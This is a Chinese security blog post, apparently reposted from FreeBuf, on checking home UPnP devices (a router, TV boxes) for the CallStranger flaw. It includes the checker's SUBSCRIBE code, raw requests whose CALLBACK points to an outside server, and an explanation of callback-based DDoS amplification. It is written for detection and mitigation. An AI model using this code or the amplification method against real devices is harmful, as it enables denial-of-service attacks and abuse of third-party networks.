起因
起因
上路
上路
def subscribe(URL,callbackURL):
myheaders = {
'User-Agent':'Callstranger Vulnerability Checker',
'CALLBACK': '<'+callbackURL+'>',
'NT': 'upnp:event',
'TIMEOUT': 'Second-300'}
#print(URL,callbackURL,'sending')
req = requests.request('SUBSCRIBE', URL,headers=myheaders)
if req.status_code==200:
print(colored('Subscribe to '+URL+' seems successfull','green'))
print(req.headers)
print(req.text)
else:
print(colored('Subscribe to '+URL+' failed with status code:'+str(req.status_code),'red'))
print(req.headers)
print(req.text)
首先对目标进行subscribe订阅请求,并从header里加入一个CALLBACK的值来进行回调,CALLBACK的值为指定的url,如果订阅成功就会返回200,表示订阅成功,很可能存在漏洞。
对当前网络进行扫描和测试:python3 CallStranger.py
找到了三个Upnp设备:华为路由器、客厅盒子、客厅极光TV
如下图,扫描利用完毕,标记为红色的是确定有漏洞的,标记为黄色的是疑似的。
接下来我们通过流量分析来看看具体干了哪些事情。
如下图,首先回调的设备需要一个自己的session
然后通过将获得的session值加入到token里再次put请求得到一组key值
PUT /CallStranger.php?c=getservices&token=xxx HTTP/1.1
Host: 20.42.105.45
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 0
然后再将获取到的token和key值加入到SUBSCRIBE请求的回调值里进行请求: SUBSCRIBE /_urn:schemas-upnp-org:service:AVTransport_event HTTP/1.1
Host: 192.168.101.22:49152
User-Agent: Callstranger Vulnerability Checker
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
CALLBACK: <http://20.42.105.45:80/CallStranger.php?c=addservice&service=gAAAAABfH-vGuHsXhAuU73sw.........=&token=........>
NT: upnp:event
TIMEOUT: Second-300
Content-Length: 0
服务器返回200表示回调的值可以被利用,存在此漏洞,由于CALLBACK并不限定数量,如果回调值里加入多个url,可造成Ddos攻击,Upnp的官方文档里也给出了说明: 每个回调值向回调值指定的主机发送107个SYN包。在107个SYN包之后,它尝试 连接下一个值。这意味着每25字节就有10760字节的TCP SYN流量。我们可以计算一下放大的倍数:10760/25=256,也就是说1个回调值放大256倍,如果采用多个回调值可进行无限放大。 如果返回412,说明回调值不可利用,不存在此漏洞,前面的扫描结果也说明了这一点。
总结
总的来说,回调值如果被利用了后果还是挺严重的,如果没有必要,最好关闭UPnP端口。看来电视盒子定期也要更新系统啊,否则为什么定期弹窗让升级系统呢?在最新更新的UPnP协议规范中,可以看出开发者限制了订阅事件的源IP和目标IP都必须在内网中,这从一定程度上修复了该漏洞。
原文来源:FreeBuf
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论